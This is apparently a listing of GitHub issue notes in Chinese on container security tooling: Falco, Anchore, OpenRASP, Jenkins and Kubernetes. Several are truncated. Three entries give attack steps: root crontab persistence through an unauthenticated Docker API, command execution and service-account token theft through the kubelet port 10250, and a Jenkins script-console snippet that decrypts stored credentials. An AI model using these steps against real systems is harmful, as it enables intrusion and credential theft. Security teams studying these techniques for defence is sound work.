zj1244

Results 26 issues of zj1244

## 部署 使用helm部署falco,推荐把日志格式化成json,这样日志信息会比较详细 ``` # helm install --name falco --set ebpf.enabled=true,falco.jsonOutput=true,set image.tag=0.22.0 stable/falco ``` 从集群删除 ``` # helm delete --purge falco ``` 出现CrashLoopBackOff可能是内核不匹配 ![image](https://user-images.githubusercontent.com/29372171/81131682-85b36800-8f7e-11ea-9f8b-7bad91d9f7fe.png) 检查日志进一步确认是不是内核问题 ![image](https://user-images.githubusercontent.com/29372171/81131572-248b9480-8f7e-11ea-8ecb-560f7fd91d1b.png) 升级目标节点内核后重启,问题解决 ``` yum install...

1、命令如下: ``` # curl https://docs.anchore.com/current/docs/engine/quickstart/docker-compose.yaml > docker-compose.yaml # docker-compose up -d ``` 2、查看部署是否成功: ``` # docker-compose ps Name Command State Ports -------------------------------------------------------------------------------------- root_analyzer_1 /docker-entrypoint.sh anch ... Up 8228/tcp root_api_1 /docker-entrypoint.sh...

技术相关
容器相关

## docker未授权攻击步骤 没什么好说的,和redis的利用方式很像 * 方式一 ``` # docker -H tcp://ip:2375 run -it -v /etc:/mnt centos /bin/bash # cp /mnt/crontab /mnt/crontab.bak # echo -e "* * * * * root bash...

## 环境要求 首先需要三个数据库,mysql、Elasticsearch和MongoDB,es用来存储报警和统计信息,mongo用来存储应用、账号密码等信息。 目前对数据库的要求是: * MongoDB版本大于等于3.6 * ElasticSearch版本大于等于5.6,小于7.0 ## 添加mongo用户 mongodb和es安装过程省略,测试可以用docker ``` > use openrasp > db.createUser({user:'iast',pwd:'123456', roles:["readWrite", "dbAdmin"]}) ``` ## 安装管理后台 ``` # wget https://packages.baidu.com/app/openrasp/release/1.3.2/rasp-cloud.tar.gz # tar -zxvf rasp-cloud.tar.gz...

1、确定主机是否可以利用,访问`https://ip:10250/pods`,出现如下数据表示可以利用: ![image](https://user-images.githubusercontent.com/29372171/59815237-8af9cb00-934a-11e9-9f03-7e56638cddf4.png) 2、执行【curl -k -XPOST "https://k8s-node-1:10250/run/%namespace%/%pod_name%/%container_name%" -d "cmd=ls -la /"】,即可执行命令: ![image](https://user-images.githubusercontent.com/29372171/59815433-25f2a500-934b-11e9-8482-680fe51e7a15.png) 3、现在问题变成了如何确定namespace、pod_name、container_name,访问`https://ip:10250/pods`,并查找selfLink,会有一个类似【/api/v1/namespaces/test1/pods/web-docker-594dd9789f-fc9d9】的值,其中namespaces就是后面的test1,同理pods就是后面的web-docker-594dd9789f-fc9d9。如果执行失败,可以看看phase的状态是不是fail,是的话就换一个phase是running的再试试。 ![image](https://user-images.githubusercontent.com/29372171/59815773-37887c80-934c-11e9-8cd8-c0fe04585413.png) 4、获得token,`curl -k -XPOST "https://ip:10250/run/cattle-system/cattle-cluster-agent-549fc45d6f-lf7hp/cluster-register" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"` ![image](https://user-images.githubusercontent.com/29372171/59998048-08964180-9691-11e9-8fc9-9a133d0fbdda.png) ![image](https://user-images.githubusercontent.com/29372171/59998010-f6b49e80-9690-11e9-971a-41dd50489900.png) 5、如果不在这个位置,可用mount命令来查找: ![image](https://user-images.githubusercontent.com/29372171/59998135-41ceb180-9691-11e9-9055-a070ae6b7ed9.png) 6、接下来可以尝试获得master(api server)的权限,默认情况下,api server开发的端口为6443,所以扫描同个网段开放6443的主机来挨个尝试,除了这种方法,还可以尝试执行env命令来查看是否有api server的地址或者其他敏感信息: ![image](https://user-images.githubusercontent.com/29372171/59998546-4ba4e480-9692-11e9-9874-e6a105904d5b.png) 7、执行命令`kubectl...

技术相关
容器相关

## 前提 需要可以执行script ## 获得加密后的凭据 通过访问凭据->系统->全局凭据->某个凭据->更新来查看加密后的凭据 ![image](https://user-images.githubusercontent.com/29372171/78635647-493a1100-78d9-11ea-83b9-9c2911d9b57d.png) ## 解密 点击系统管理->命令脚本行,输入如下代码,即可查看密码 ``` println(hudson.util.Secret.fromString('xxxxxxxxxxxxxxxxxxxx').getPlainText()) ``` 或者 ``` println(hudson.util.Secret.decrypt("xxxxxxxxxxxxxxx")) ``` ![image](https://user-images.githubusercontent.com/29372171/78635384-ac777380-78d8-11ea-9119-b4fa640f900b.png) 参考: https://fortynorthsecurity.com/blog/the-security-of-devsecops-jenkins/

## 常用命令 * 查看policy情况 ``` # anchore-cli --u admin --p 123 --url http://192.168.47.123:31050/v1 policy list ``` * 激活策略,需要激活才能在jenkins上体现出来 ``` # anchore-cli --u admin --p 123 --url http://192.168.47.123:31050/v1 policy activate policy-check-env...

### 安装nfs服务 ``` yum install -y nfs-utils ``` ### 设置nfs目录 ``` # cat /etc/exports /data/ *(rw,sync,no_root_squash,no_all_squash) ``` ### nfs-client-deployment.yaml ``` #ServiceAccount --- apiVersion: v1 kind: ServiceAccount metadata: name: nfs-client-provisioner #rbac...

### 1.新建job 新建个自由风格的任务,任务名为test ![image](https://user-images.githubusercontent.com/29372171/76981077-0689b680-6975-11ea-85fa-4de58584653e.png) ### 2. 安装Gogs插件 打开 系统管理 -> 管理插件 -> 可选插件,在右上角输入框中输入"gogs"来筛选插件 ![image](https://user-images.githubusercontent.com/29372171/76981341-6aac7a80-6975-11ea-84f0-a28872031d2b.png) ### 3. 添加web钩子 进入仓库,这里使用的是gogs。然后点击【仓库设置】->【管理Web钩子】->【添加Web钩子】-> 【Gogs】 ![image](https://user-images.githubusercontent.com/29372171/76981212-3c2e9f80-6975-11ea-9a25-ebd7014bff64.png) ### 4. 设置web钩子 需要注意的是job=test中的test是jenkins里的任务名,需要一一对应,不能填错。 ![image](https://user-images.githubusercontent.com/29372171/76981842-1229ad00-6976-11ea-9ed6-9b6dd55e9d35.png) ### 5. 安装Publish over ssh插件...

### 背景 官方的部署方案不完整,会因为没有为postgres设置pv而导致部署失败,而官方文档也没有提醒需要自己建立pv。 ### 安装条件 - 安装了helm - 安装了Tiller - 安装了k8s - 需要20g空间给数据库使用 ### 安装 1、更新Helm Charts仓库 ``` [root@sec-infoanalysis2-test ops]# helm repo update Hang tight while we grab the latest...

技术相关
容器相关